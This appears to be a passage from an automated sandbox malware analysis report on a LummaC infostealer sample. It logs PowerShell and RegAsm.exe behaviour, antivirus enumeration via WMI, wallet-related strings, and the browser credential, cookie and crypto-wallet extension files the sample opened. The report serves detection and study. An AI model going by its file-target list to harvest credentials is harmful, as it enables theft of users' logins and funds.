Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_6F9521EE GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6F9521EE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000031.00000002.2171377376.0000000000D31000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: les%\Windows Defender\MsMpeng.exe
Source: RegAsm.exe, 00000031.00000002.2172670873.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum
Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: RegAsm.exe, 0000002C.00000002.2035425630.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: RegAsm.exe, 0000002B.00000002.2107744655.00000000013F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: powershell.exe, 0000000D.00000002.1718680362.00000000075F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
